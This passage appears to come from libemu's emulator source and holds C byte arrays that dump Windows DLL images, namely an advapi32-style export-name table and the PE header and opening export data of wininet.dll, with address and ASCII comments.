//SetPrivateObject /* 7E299200 */ "\x53\x65\x63\x75\x72\x69\x74\x79\x00\x53\x65\x74\x50\x72\x69\x76" //Security.SetPriv /* 7E299220 */ "\x61\x74\x65\x4F\x62\x6A\x65\x63\x74\x53\x65\x63\x75\x72\x69\x74" //ateObjectSecurit /* 7E299240 */ "\x79\x45\x78\x00\x53\x65\x74\x53\x65\x63\x75\x72\x69\x74\x79\x44" //yEx.SetSecurityD /* 7E299260 */ "\x65\x73\x63\x72\x69\x70\x74\x6F\x72\x43\x6F\x6E\x74\x72\x6F\x6C" //escriptorControl /* 7E299280 */ "\x00\x53\x65\x74\x53\x65\x63\x75\x72\x69\x74\x79\x44\x65\x73\x63" //.SetSecurityDesc /* 7E2992A0 */ "\x72\x69\x70\x74\x6F\x72\x44\x61\x63\x6C\x00\x53\x65\x74\x53\x65" //riptorDacl.SetSe /* 7E2992C0 */ "\x63\x75\x72\x69\x74\x79\x44\x65\x73\x63\x72\x69\x70\x74\x6F\x72" //curityDescriptor /* 7E2992E0 */ "\x47\x72\x6F\x75\x70\x00\x53\x65\x74\x53\x65\x63\x75\x72\x69\x74" //Group.SetSecurit /* 7E299300 */ "\x79\x44\x65\x73\x63\x72\x69\x70\x74\x6F\x72\x4F\x77\x6E\x65\x72" //yDescriptorOwner /* 7E299320 */ "\x00\x53\x65\x74\x53\x65\x63\x75\x72\x69\x74\x79\x44\x65\x73\x63" //.SetSecurityDesc /* 7E299340 */ "\x72\x69\x70\x74\x6F\x72\x52\x4D\x43\x6F\x6E\x74\x72\x6F\x6C\x00" //riptorRMControl. /* 7E299360 */ "\x53\x65\x74\x53\x65\x63\x75\x72\x69\x74\x79\x44\x65\x73\x63\x72" //SetSecurityDescr /* 7E299380 */ "\x69\x70\x74\x6F\x72\x53\x61\x63\x6C\x00\x53\x65\x74\x53\x65\x63" //iptorSacl.SetSec /* 7E2993A0 */ "\x75\x72\x69\x74\x79\x49\x6E\x66\x6F\x00\x53\x65\x74\x53\x65\x63" //urityInfo.SetSec /* 7E2993C0 */ "\x75\x72\x69\x74\x79\x49\x6E\x66\x6F\x45\x78\x41\x00\x53\x65\x74" //urityInfoExA.Set /* 7E2993E0 */ "\x53\x65\x63\x75\x72\x69\x74\x79\x49\x6E\x66\x6F\x45\x78\x57\x00" //SecurityInfoExW. /* 7E299400 */ "\x53\x65\x74\x53\x65\x72\x76\x69\x63\x65\x42\x69\x74\x73\x00\x53" //SetServiceBits.S /* 7E299420 */ "\x65\x74\x53\x65\x72\x76\x69\x63\x65\x4F\x62\x6A\x65\x63\x74\x53" //etServiceObjectS /* 7E299440 */ "\x65\x63\x75\x72\x69\x74\x79\x00\x53\x65\x74\x53\x65\x72\x76\x69" //ecurity.SetServi /* 7E299460 */ "\x63\x65\x53\x74\x61\x74\x75\x73\x00\x53\x65\x74\x54\x68\x72\x65" //ceStatus.SetThre /* 7E299480 */ "\x61\x64\x54\x6F\x6B\x65\x6E\x00\x53\x65\x74\x54\x6F\x6B\x65\x6E" //adToken.SetToken /* 7E2994A0 */ "\x49\x6E\x66\x6F\x72\x6D\x61\x74\x69\x6F\x6E\x00\x53\x65\x74\x54" //Information.SetT /* 7E2994C0 */ "\x72\x61\x63\x65\x43\x61\x6C\x6C\x62\x61\x63\x6B\x00\x53\x65\x74" //raceCallback.Set /* 7E2994E0 */ "\x55\x73\x65\x72\x46\x69\x6C\x65\x45\x6E\x63\x72\x79\x70\x74\x69" //UserFileEncrypti /* 7E299500 */ "\x6F\x6E\x4B\x65\x79\x00\x53\x74\x61\x72\x74\x53\x65\x72\x76\x69" //onKey.StartServi /* 7E299520 */ "\x63\x65\x41\x00\x53\x74\x61\x72\x74\x53\x65\x72\x76\x69\x63\x65" //ceA.StartService /* 7E299540 */ "\x43\x74\x72\x6C\x44\x69\x73\x70\x61\x74\x63\x68\x65\x72\x41\x00" //CtrlDispatcherA. /* 7E299560 */ "\x53\x74\x61\x72\x74\x53\x65\x72\x76\x69\x63\x65\x43\x74\x72\x6C" //StartServiceCtrl /* 7E299580 */ "\x44\x69\x73\x70\x61\x74\x63\x68\x65\x72\x57\x00\x53\x74\x61\x72" //DispatcherW.Star /* 7E2995A0 */ "\x74\x53\x65\x72\x76\x69\x63\x65\x57\x00\x53\x74\x61\x72\x74\x54" //tServiceW.StartT /* 7E2995C0 */ "\x72\x61\x63\x65\x41\x00\x53\x74\x61\x72\x74\x54\x72\x61\x63\x65" //raceA.StartTrace /* 7E2995E0 */ "\x57\x00\x53\x74\x6F\x70\x54\x72\x61\x63\x65\x41\x00\x53\x74\x6F" //W.StopTraceA.Sto /* 7E299600 */ "\x70\x54\x72\x61\x63\x65\x57\x00\x53\x79\x6E\x63\x68\x72\x6F\x6E" //pTraceW.Synchron /* 7E299620 */ "\x69\x7A\x65\x57\x69\x6E\x64\x6F\x77\x73\x33\x31\x46\x69\x6C\x65" //izeWindows31File /* 7E299640 */ "\x73\x41\x6E\x64\x57\x69\x6E\x64\x6F\x77\x73\x4E\x54\x52\x65\x67" //sAndWindowsNTReg /* 7E299660 */ "\x69\x73\x74\x72\x79\x00\x53\x79\x73\x74\x65\x6D\x46\x75\x6E\x63" //istry.SystemFunc /* 7E299680 */ "\x74\x69\x6F\x6E\x30\x30\x31\x00\x53\x79\x73\x74\x65\x6D\x46\x75" //tion001.SystemFu /* 7E2996A0 */ "\x6E\x63\x74\x69\x6F\x6E\x30\x30\x32\x00\x53\x79\x73\x74\x65\x6D" //nction002.System /* 7E2996C0 */ "\x46\x75\x6E\x63\x74\x69\x6F\x6E\x30\x30\x33\x00\x53\x79\x73\x74" //Function003.Syst /* 7E2996E0 */ "\x65\x6D\x46\x75\x6E\x63\x74\x69\x6F\x6E\x30\x30\x34\x00\x53\x79" //emFunction004.Sy /* 7E299700 */ "\x73\x74\x65\x6D\x46\x75\x6E\x63\x74\x69\x6F\x6E\x30\x30\x35\x00" //stemFunction005. /* 7E299720 */ "\x53\x79\x73\x74\x65\x6D\x46\x75\x6E\x63\x74\x69\x6F\x6E\x30\x30" //SystemFunction00 /* 7E299740 */ "\x36\x00\x53\x79\x73\x74\x65\x6D\x46\x75\x6E\x63\x74\x69\x6F\x6E" //6.SystemFunction /* 7E299760 */ "\x30\x30\x37\x00\x53\x79\x73\x74\x65\x6D\x46\x75\x6E\x63\x74\x69" //007.SystemFuncti /* 7E299780 */ "\x6F\x6E\x30\x30\x38\x00\x53\x79\x73\x74\x65\x6D\x46\x75\x6E\x63" //on008.SystemFunc /* 7E2997A0 */ "\x74\x69\x6F\x6E\x30\x30\x39\x00\x53\x79\x73\x74\x65\x6D\x46\x75" //tion009.SystemFu /* 7E2997C0 */ "\x6E\x63\x74\x69\x6F\x6E\x30\x31\x30\x00\x53\x79\x73\x74\x65\x6D" //nction010.System /* 7E2997E0 */ "\x46\x75\x6E\x63\x74\x69\x6F\x6E\x30\x31\x31\x00\x53\x79\x73\x74" //Function011.Syst /* 7E299800 */ "\x65\x6D\x46\x75\x6E\x63\x74\x69\x6F\x6E\x30\x31\x32\x00\x53\x79" //emFunction012.Sy /* 7E299820 */ "\x73\x74\x65\x6D\x46\x75\x6E\x63\x74\x69\x6F\x6E\x30\x31\x33\x00" //stemFunction013. /* 7E299840 */ "\x53\x79\x73\x74\x65\x6D\x46\x75\x6E\x63\x74\x69\x6F\x6E\x30\x31" //SystemFunction01 /* 7E299860 */ "\x34\x00\x53\x79\x73\x74\x65\x6D\x46\x75\x6E\x63\x74\x69\x6F\x6E" //4.SystemFunction /* 7E299880 */ "\x30\x31\x35\x00\x53\x79\x73\x74\x65\x6D\x46\x75\x6E\x63\x74\x69" //015.SystemFuncti /* 7E2998A0 */ "\x6F\x6E\x30\x31\x36\x00\x53\x79\x73\x74\x65\x6D\x46\x75\x6E\x63" //on016.SystemFunc /* 7E2998C0 */ "\x74\x69\x6F\x6E\x30\x31\x37\x00\x53\x79\x73\x74\x65\x6D\x46\x75" //tion017.SystemFu /* 7E2998E0 */ "\x6E\x63\x74\x69\x6F\x6E\x30\x31\x38\x00\x53\x79\x73\x74\x65\x6D" //nction018.System /* 7E299900 */ "\x46\x75\x6E\x63\x74\x69\x6F\x6E\x30\x31\x39\x00\x53\x79\x73\x74" //Function019.Syst /* 7E299920 */ "\x65\x6D\x46\x75\x6E\x63\x74\x69\x6F\x6E\x30\x32\x30\x00\x53\x79" //emFunction020.Sy /* 7E299940 */ "\x73\x74\x65\x6D\x46\x75\x6E\x63\x74\x69\x6F\x6E\x30\x32\x31\x00" //stemFunction021. /* 7E299960 */ "\x53\x79\x73\x74\x65\x6D\x46\x75\x6E\x63\x74\x69\x6F\x6E\x30\x32" //SystemFunction02 /* 7E299980 */ "\x32\x00\x53\x79\x73\x74\x65\x6D\x46\x75\x6E\x63\x74\x69\x6F\x6E" //2.SystemFunction /* 7E2999A0 */ "\x30\x32\x33\x00\x53\x79\x73\x74\x65\x6D\x46\x75\x6E\x63\x74\x69" //023.SystemFuncti /* 7E2999C0 */ "\x6F\x6E\x30\x32\x34\x00\x53\x79\x73\x74\x65\x6D\x46\x75\x6E\x63" //on024.SystemFunc /* 7E2999E0 */ "\x74\x69\x6F\x6E\x30\x32\x35\x00\x53\x79\x73\x74\x65\x6D\x46\x75" //tion025.SystemFu /* 7E299A00 */ "\x6E\x63\x74\x69\x6F\x6E\x30\x32\x36\x00\x53\x79\x73\x74\x65\x6D" //nction026.System /* 7E299A20 */ "\x46\x75\x6E\x63\x74\x69\x6F\x6E\x30\x32\x37\x00\x53\x79\x73\x74" //Function027.Syst /* 7E299A40 */ "\x65\x6D\x46\x75\x6E\x63\x74\x69\x6F\x6E\x30\x32\x38\x00\x53\x79" //emFunction028.Sy /* 7E299A60 */ "\x73\x74\x65\x6D\x46\x75\x6E\x63\x74\x69\x6F\x6E\x30\x32\x39\x00" //stemFunction029. /* 7E299A80 */ "\x53\x79\x73\x74\x65\x6D\x46\x75\x6E\x63\x74\x69\x6F\x6E\x30\x33" //SystemFunction03 /* 7E299AA0 */ "\x30\x00\x53\x79\x73\x74\x65\x6D\x46\x75\x6E\x63\x74\x69\x6F\x6E" //0.SystemFunction /* 7E299AC0 */ "\x30\x33\x31\x00\x53\x79\x73\x74\x65\x6D\x46\x75\x6E\x63\x74\x69" //031.SystemFuncti /* 7E299AE0 */ "\x6F\x6E\x30\x33\x32\x00\x53\x79\x73\x74\x65\x6D\x46\x75\x6E\x63" //on032.SystemFunc /* 7E299B00 */ "\x74\x69\x6F\x6E\x30\x33\x33\x00\x53\x79\x73\x74\x65\x6D\x46\x75" //tion033.SystemFu /* 7E299B20 */ "\x6E\x63\x74\x69\x6F\x6E\x30\x33\x34\x00\x53\x79\x73\x74\x65\x6D" //nction034.System /* 7E299B40 */ "\x46\x75\x6E\x63\x74\x69\x6F\x6E\x30\x33\x35\x00\x53\x79\x73\x74" //Function035.Syst /* 7E299B60 */ "\x65\x6D\x46\x75\x6E\x63\x74\x69\x6F\x6E\x30\x33\x36\x00\x53\x79" //emFunction036.Sy /* 7E299B80 */ "\x73\x74\x65\x6D\x46\x75\x6E\x63\x74\x69\x6F\x6E\x30\x34\x30\x00" //stemFunction040. /* 7E299BA0 */ "\x53\x79\x73\x74\x65\x6D\x46\x75\x6E\x63\x74\x69\x6F\x6E\x30\x34" //SystemFunction04 /* 7E299BC0 */ "\x31\x00\x54\x72\x61\x63\x65\x45\x76\x65\x6E\x74\x00\x54\x72\x61" //1.TraceEvent.Tra /* 7E299BE0 */ "\x63\x65\x45\x76\x65\x6E\x74\x49\x6E\x73\x74\x61\x6E\x63\x65\x00" //ceEventInstance. /* 7E299C00 */ "\x54\x72\x61\x63\x65\x4D\x65\x73\x73\x61\x67\x65\x00\x54\x72\x61" //TraceMessage.Tra /* 7E299C20 */ "\x63\x65\x4D\x65\x73\x73\x61\x67\x65\x56\x61\x00\x54\x72\x65\x65" //ceMessageVa.Tree /* 7E299C40 */ "\x52\x65\x73\x65\x74\x4E\x61\x6D\x65\x64\x53\x65\x63\x75\x72\x69" //ResetNamedSecuri /* 7E299C60 */ "\x74\x79\x49\x6E\x66\x6F\x41\x00\x54\x72\x65\x65\x52\x65\x73\x65" //tyInfoA.TreeRese /* 7E299C80 */ "\x74\x4E\x61\x6D\x65\x64\x53\x65\x63\x75\x72\x69\x74\x79\x49\x6E" //tNamedSecurityIn /* 7E299CA0 */ "\x66\x6F\x57\x00\x54\x72\x75\x73\x74\x65\x65\x41\x63\x63\x65\x73" //foW.TrusteeAcces /* 7E299CC0 */ "\x73\x54\x6F\x4F\x62\x6A\x65\x63\x74\x41\x00\x54\x72\x75\x73\x74" //sToObjectA.Trust /* 7E299CE0 */ "\x65\x65\x41\x63\x63\x65\x73\x73\x54\x6F\x4F\x62\x6A\x65\x63\x74" //eeAccessToObject /* 7E299D00 */ "\x57\x00\x55\x6E\x69\x6E\x73\x74\x61\x6C\x6C\x41\x70\x70\x6C\x69" //W.UninstallAppli /* 7E299D20 */ "\x63\x61\x74\x69\x6F\x6E\x00\x55\x6E\x6C\x6F\x63\x6B\x53\x65\x72" //cation.UnlockSer /* 7E299D40 */ "\x76\x69\x63\x65\x44\x61\x74\x61\x62\x61\x73\x65\x00\x55\x6E\x72" //viceDatabase.Unr /* 7E299D60 */ "\x65\x67\x69\x73\x74\x65\x72\x49\x64\x6C\x65\x54\x61\x73\x6B\x00" //egisterIdleTask. /* 7E299D80 */ "\x55\x6E\x72\x65\x67\x69\x73\x74\x65\x72\x54\x72\x61\x63\x65\x47" //UnregisterTraceG /* 7E299DA0 */ "\x75\x69\x64\x73\x00\x55\x70\x64\x61\x74\x65\x54\x72\x61\x63\x65" //uids.UpdateTrace /* 7E299DC0 */ "\x41\x00\x55\x70\x64\x61\x74\x65\x54\x72\x61\x63\x65\x57\x00\x57" //A.UpdateTraceW.W /* 7E299DE0 */ "\x64\x6D\x57\x6D\x69\x53\x65\x72\x76\x69\x63\x65\x4D\x61\x69\x6E" //dmWmiServiceMain /* 7E299E00 */ "\x00\x57\x6D\x69\x43\x6C\x6F\x73\x65\x42\x6C\x6F\x63\x6B\x00\x57" //.WmiCloseBlock.W /* 7E299E20 */ "\x6D\x69\x43\x6C\x6F\x73\x65\x54\x72\x61\x63\x65\x57\x69\x74\x68" //miCloseTraceWith /* 7E299E40 */ "\x43\x75\x72\x73\x6F\x72\x00\x57\x6D\x69\x43\x6F\x6E\x76\x65\x72" //Cursor.WmiConver /* 7E299E60 */ "\x74\x54\x69\x6D\x65\x73\x74\x61\x6D\x70\x00\x57\x6D\x69\x44\x65" //tTimestamp.WmiDe /* 7E299E80 */ "\x76\x49\x6E\x73\x74\x54\x6F\x49\x6E\x73\x74\x61\x6E\x63\x65\x4E" //vInstToInstanceN /* 7E299EA0 */ "\x61\x6D\x65\x41\x00\x57\x6D\x69\x44\x65\x76\x49\x6E\x73\x74\x54" //ameA.WmiDevInstT /* 7E299EC0 */ "\x6F\x49\x6E\x73\x74\x61\x6E\x63\x65\x4E\x61\x6D\x65\x57\x00\x57" //oInstanceNameW.W /* 7E299EE0 */ "\x6D\x69\x45\x6E\x75\x6D\x65\x72\x61\x74\x65\x47\x75\x69\x64\x73" //miEnumerateGuids /* 7E299F00 */ "\x00\x57\x6D\x69\x45\x78\x65\x63\x75\x74\x65\x4D\x65\x74\x68\x6F" //.WmiExecuteMetho /* 7E299F20 */ "\x64\x41\x00\x57\x6D\x69\x45\x78\x65\x63\x75\x74\x65\x4D\x65\x74" //dA.WmiExecuteMet /* 7E299F40 */ "\x68\x6F\x64\x57\x00\x57\x6D\x69\x46\x69\x6C\x65\x48\x61\x6E\x64" //hodW.WmiFileHand /* 7E299F60 */ "\x6C\x65\x54\x6F\x49\x6E\x73\x74\x61\x6E\x63\x65\x4E\x61\x6D\x65" //leToInstanceName /* 7E299F80 */ "\x41\x00\x57\x6D\x69\x46\x69\x6C\x65\x48\x61\x6E\x64\x6C\x65\x54" //A.WmiFileHandleT /* 7E299FA0 */ "\x6F\x49\x6E\x73\x74\x61\x6E\x63\x65\x4E\x61\x6D\x65\x57\x00\x57" //oInstanceNameW.W /* 7E299FC0 */ "\x6D\x69\x46\x72\x65\x65\x42\x75\x66\x66\x65\x72\x00\x57\x6D\x69" //miFreeBuffer.Wmi /* 7E299FE0 */ "\x47\x65\x74\x46\x69\x72\x73\x74\x54\x72\x61\x63\x65\x4F\x66\x66" //GetFirstTraceOff /* 7E29A000 */ "\x73\x65\x74\x00\x57\x6D\x69\x47\x65\x74\x4E\x65\x78\x74\x45\x76" //set.WmiGetNextEv /* 7E29A020 */ "\x65\x6E\x74\x00\x57\x6D\x69\x47\x65\x74\x54\x72\x61\x63\x65\x48" //ent.WmiGetTraceH /* 7E29A040 */ "\x65\x61\x64\x65\x72\x00\x57\x6D\x69\x4D\x6F\x66\x45\x6E\x75\x6D" //eader.WmiMofEnum /* 7E29A060 */ "\x65\x72\x61\x74\x65\x52\x65\x73\x6F\x75\x72\x63\x65\x73\x41\x00" //erateResourcesA. /* 7E29A080 */ "\x57\x6D\x69\x4D\x6F\x66\x45\x6E\x75\x6D\x65\x72\x61\x74\x65\x52" //WmiMofEnumerateR /* 7E29A0A0 */ "\x65\x73\x6F\x75\x72\x63\x65\x73\x57\x00\x57\x6D\x69\x4E\x6F\x74" //esourcesW.WmiNot /* 7E29A0C0 */ "\x69\x66\x69\x63\x61\x74\x69\x6F\x6E\x52\x65\x67\x69\x73\x74\x72" //ificationRegistr /* 7E29A0E0 */ "\x61\x74\x69\x6F\x6E\x41\x00\x57\x6D\x69\x4E\x6F\x74\x69\x66\x69" //ationA.WmiNotifi /* 7E29A100 */ "\x63\x61\x74\x69\x6F\x6E\x52\x65\x67\x69\x73\x74\x72\x61\x74\x69" //cationRegistrati /* 7E29A120 */ "\x6F\x6E\x57\x00\x57\x6D\x69\x4F\x70\x65\x6E\x42\x6C\x6F\x63\x6B" //onW.WmiOpenBlock /* 7E29A140 */ "\x00\x57\x6D\x69\x4F\x70\x65\x6E\x54\x72\x61\x63\x65\x57\x69\x74" //.WmiOpenTraceWit /* 7E29A160 */ "\x68\x43\x75\x72\x73\x6F\x72\x00\x57\x6D\x69\x50\x61\x72\x73\x65" //hCursor.WmiParse /* 7E29A180 */ "\x54\x72\x61\x63\x65\x45\x76\x65\x6E\x74\x00\x57\x6D\x69\x51\x75" //TraceEvent.WmiQu /* 7E29A1A0 */ "\x65\x72\x79\x41\x6C\x6C\x44\x61\x74\x61\x41\x00\x57\x6D\x69\x51" //eryAllDataA.WmiQ /* 7E29A1C0 */ "\x75\x65\x72\x79\x41\x6C\x6C\x44\x61\x74\x61\x4D\x75\x6C\x74\x69" //ueryAllDataMulti /* 7E29A1E0 */ "\x70\x6C\x65\x41\x00\x57\x6D\x69\x51\x75\x65\x72\x79\x41\x6C\x6C" //pleA.WmiQueryAll /* 7E29A200 */ "\x44\x61\x74\x61\x4D\x75\x6C\x74\x69\x70\x6C\x65\x57\x00\x57\x6D" //DataMultipleW.Wm /* 7E29A220 */ "\x69\x51\x75\x65\x72\x79\x41\x6C\x6C\x44\x61\x74\x61\x57\x00\x57" //iQueryAllDataW.W /* 7E29A240 */ "\x6D\x69\x51\x75\x65\x72\x79\x47\x75\x69\x64\x49\x6E\x66\x6F\x72" //miQueryGuidInfor /* 7E29A260 */ "\x6D\x61\x74\x69\x6F\x6E\x00\x57\x6D\x69\x51\x75\x65\x72\x79\x53" //mation.WmiQueryS /* 7E29A280 */ "\x69\x6E\x67\x6C\x65\x49\x6E\x73\x74\x61\x6E\x63\x65\x41\x00\x57" //ingleInstanceA.W /* 7E29A2A0 */ "\x6D\x69\x51\x75\x65\x72\x79\x53\x69\x6E\x67\x6C\x65\x49\x6E\x73" //miQuerySingleIns /* 7E29A2C0 */ "\x74\x61\x6E\x63\x65\x4D\x75\x6C\x74\x69\x70\x6C\x65\x41\x00\x57" //tanceMultipleA.W /* 7E29A2E0 */ "\x6D\x69\x51\x75\x65\x72\x79\x53\x69\x6E\x67\x6C\x65\x49\x6E\x73" //miQuerySingleIns /* 7E29A300 */ "\x74\x61\x6E\x63\x65\x4D\x75\x6C\x74\x69\x70\x6C\x65\x57\x00\x57" //tanceMultipleW.W /* 7E29A320 */ "\x6D\x69\x51\x75\x65\x72\x79\x53\x69\x6E\x67\x6C\x65\x49\x6E\x73" //miQuerySingleIns /* 7E29A340 */ "\x74\x61\x6E\x63\x65\x57\x00\x57\x6D\x69\x52\x65\x63\x65\x69\x76" //tanceW.WmiReceiv /* 7E29A360 */ "\x65\x4E\x6F\x74\x69\x66\x69\x63\x61\x74\x69\x6F\x6E\x73\x41\x00" //eNotificationsA. /* 7E29A380 */ "\x57\x6D\x69\x52\x65\x63\x65\x69\x76\x65\x4E\x6F\x74\x69\x66\x69" //WmiReceiveNotifi /* 7E29A3A0 */ "\x63\x61\x74\x69\x6F\x6E\x73\x57\x00\x57\x6D\x69\x53\x65\x74\x53" //cationsW.WmiSetS /* 7E29A3C0 */ "\x69\x6E\x67\x6C\x65\x49\x6E\x73\x74\x61\x6E\x63\x65\x41\x00\x57" //ingleInstanceA.W /* 7E29A3E0 */ "\x6D\x69\x53\x65\x74\x53\x69\x6E\x67\x6C\x65\x49\x6E\x73\x74\x61" //miSetSingleInsta /* 7E29A400 */ "\x6E\x63\x65\x57\x00\x57\x6D\x69\x53\x65\x74\x53\x69\x6E\x67\x6C" //nceW.WmiSetSingl /* 7E29A420 */ "\x65\x49\x74\x65\x6D\x41\x00\x57\x6D\x69\x53\x65\x74\x53\x69\x6E" //eItemA.WmiSetSin /* 7E29A440 */ "\x67\x6C\x65\x49\x74\x65\x6D\x57\x00\x57\x6F\x77\x36\x34\x57\x69" //gleItemW.Wow64Wi /* 7E29A460 */ "\x6E\x33\x32\x41\x70\x69\x45\x6E\x74\x72\x79\x00\x57\x72\x69\x74" //n32ApiEntry.Writ /* 7E29A480 */ "\x65\x45\x6E\x63\x72\x79\x70\x74\x65\x64\x46\x69\x6C\x65\x52\x61" //eEncryptedFileRa /* 7E29A4A0 */ "\x77\x00\x90\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //w............... ; libemu-0.2.0+git20120122+564/src/environment/win32/dlls/wininetdll.c0000644000175300017530000015204311706767213023420 0ustar dt-npbdt-npbconst char wininet_3D930000[] = /* 3D930000 */ "\x4D\x5A\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xFF\xFF\x00\x00" //MZ..........ÿÿ.. /* 3D930020 */ "\xB8\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00" //........@....... /* 3D930040 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //................ /* 3D930060 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xF8\x00\x00\x00" //............ø... /* 3D930080 */ "\x0E\x1F\xBA\x0E\x00\xB4\x09\xCD\x21\xB8\x01\x4C\xCD\x21\x54\x68" //.......Í!..LÍ!Th /* 3D9300A0 */ "\x69\x73\x20\x70\x72\x6F\x67\x72\x61\x6D\x20\x63\x61\x6E\x6E\x6F" //is.program.canno /* 3D9300C0 */ "\x74\x20\x62\x65\x20\x72\x75\x6E\x20\x69\x6E\x20\x44\x4F\x53\x20" //t.be.run.in.DOS. /* 3D9300E0 */ "\x6D\x6F\x64\x65\x2E\x0D\x0D\x0A\x24\x00\x00\x00\x00\x00\x00\x00" //mode....$....... /* 3D930100 */ "\x55\x97\x12\xBE\x11\xF6\x7C\xED\x11\xF6\x7C\xED\x11\xF6\x7C\xED" //U....ö|í.ö|í.ö|í /* 3D930120 */ "\x36\x30\x01\xED\x1D\xF6\x7C\xED\x11\xF6\x7D\xED\xD6\xF7\x7C\xED" //60.í.ö|í.ö}íÖ÷|í /* 3D930140 */ "\x36\x30\x07\xED\x00\xF6\x7C\xED\x36\x30\x06\xED\x10\xF6\x7C\xED" //60.í.ö|í60.í.ö|í /* 3D930160 */ "\x36\x30\x12\xED\x8F\xF6\x7C\xED\x36\x30\x11\xED\x4A\xF6\x7C\xED" //60.í.ö|í60.íJö|í /* 3D930180 */ "\x36\x30\x02\xED\x10\xF6\x7C\xED\x36\x30\x00\xED\x10\xF6\x7C\xED" //60.í.ö|í60.í.ö|í /* 3D9301A0 */ "\x36\x30\x04\xED\x10\xF6\x7C\xED\x52\x69\x63\x68\x11\xF6\x7C\xED" //60.í.ö|íRich.ö|í /* 3D9301C0 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //................ /* 3D9301E0 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x50\x45\x00\x00\x4C\x01\x04\x00" //........PE..L... /* 3D930200 */ "\x84\xA2\xD4\x4C\x5B\x4C\x6F\x72\x64\x50\x45\x5D\xE0\x00\x02\x21" //..ÔL[LordPE]à..! /* 3D930220 */ "\x0B\x01\x08\x00\x00\xD6\x09\x00\x00\x12\x03\x00\x00\x00\x00\x00" //.....Ö.......... /* 3D930240 */ "\x84\x17\x00\x00\x00\x10\x00\x00\x00\xD0\x09\x00\x00\x00\x93\x3D" //.........Ð.....= /* 3D930260 */ "\x00\x10\x00\x00\x00\x10\x00\x00\x06\x00\x00\x00\x06\x00\x00\x00" //................ /* 3D930280 */ "\x05\x00\x01\x00\x00\x00\x00\x00\x00\x10\x0D\x00\x00\x10\x00\x00" //................ /* 3D9302A0 */ "\xB8\x8A\x0D\x00\x02\x00\x40\x01\x00\x00\x04\x00\x00\x10\x00\x00" //......@......... /* 3D9302C0 */ "\x00\x00\x10\x00\x00\x10\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00" //................ /* 3D9302E0 */ "\x44\x18\x00\x00\x4A\x1D\x00\x00\xC0\xC6\x09\x00\xB4\x00\x00\x00" //D...J...ÀÆ...... /* 3D930300 */ "\x00\x60\x0A\x00\x50\x4D\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00" //.`..PM.......... /* 3D930320 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\xB0\x0C\x00\x50\x57\x00\x00" //............PW.. /* 3D930340 */ "\x00\xE4\x09\x00\x38\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //.ä..8........... /* 3D930360 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //................ /* 3D930380 */ "\x80\x1E\x06\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //....@........... /* 3D9303A0 */ "\x00\x10\x00\x00\xA8\x05\x00\x00\x44\xC0\x09\x00\x40\x01\x00\x00" //........DÀ..@... /* 3D9303C0 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //................ /* 3D9303E0 */ "\x2E\x74\x65\x78\x74\x00\x00\x00\x60\xD4\x09\x00\x00\x10\x00\x00" //.text...`Ô...... /* 3D930400 */ "\x60\xD4\x09\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //`Ô.............. /* 3D930420 */ "\x00\x00\x00\x00\x20\x00\x00\x60\x2E\x64\x61\x74\x61\x00\x00\x00" //.......`.data... /* 3D930440 */ "\x90\x6A\x00\x00\x00\xF0\x09\x00\x90\x6A\x00\x00\x00\xF0\x09\x00" //.j...ð...j...ð.. /* 3D930460 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\xC0" //............@..À /* 3D930480 */ "\x2E\x72\x73\x72\x63\x00\x00\x00\x50\x4D\x02\x00\x00\x60\x0A\x00" //.rsrc...PM...`.. /* 3D9304A0 */ "\x50\x4D\x02\x00\x00\x60\x0A\x00\x00\x00\x00\x00\x00\x00\x00\x00" //PM...`.......... /* 3D9304C0 */ "\x00\x00\x00\x00\x40\x00\x00\x40\x2E\x72\x65\x6C\x6F\x63\x00\x00" //....@..@.reloc.. /* 3D9304E0 */ "\x50\x57\x00\x00\x00\xB0\x0C\x00\x50\x57\x00\x00\x00\xB0\x0C\x00" //PW......PW...... /* 3D930500 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x42" //............@..B /* 3D930520 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //................ /* 3D930540 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //................ /* 3D930560 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //................ ; const char wininet_3d931844[] = /* 3D930000 */ "\x00\x00\x00\x00\xF3\x5E\xBB\x4C\x00\x00\x00\x00\xA6\x21\x00\x00" //....ó^.L.....!.. /* 3D930020 */ "\x65\x00\x00\x00\xF7\x00\x00\x00\xE5\x00\x00\x00\x6C\x18\x00\x00" //e...÷...å...l... /* 3D930040 */ "\x48\x1C\x00\x00\xDC\x1F\x00\x00\x18\x90\x02\x00\x96\x19\x04\x00" //H...Ü........... /* 3D930060 */ "\xB0\x46\x08\x00\x78\xA5\x07\x00\xCD\xA8\x07\x00\x78\xB7\x06\x00" //.F..x...Í...x... /* 3D930080 */ "\xAA\xE9\x02\x00\x81\x42\x06\x00\x9F\x4B\x06\x00\x35\x3E\x06\x00" //.é...B...K..5>.. /* 3D9300A0 */ "\x82\x47\x06\x00\xE5\xE3\x08\x00\x94\x6F\x04\x00\xE6\x81\x06\x00" //.G..åã...o..æ... /* 3D9300C0 */ "\x3E\xFD\x03\x00\x62\x5D\x03\x00\x77\xB6\x07\x00\x10\xA1\x07\x00" //>ý..b]..w....... /* 3D9300E0 */ 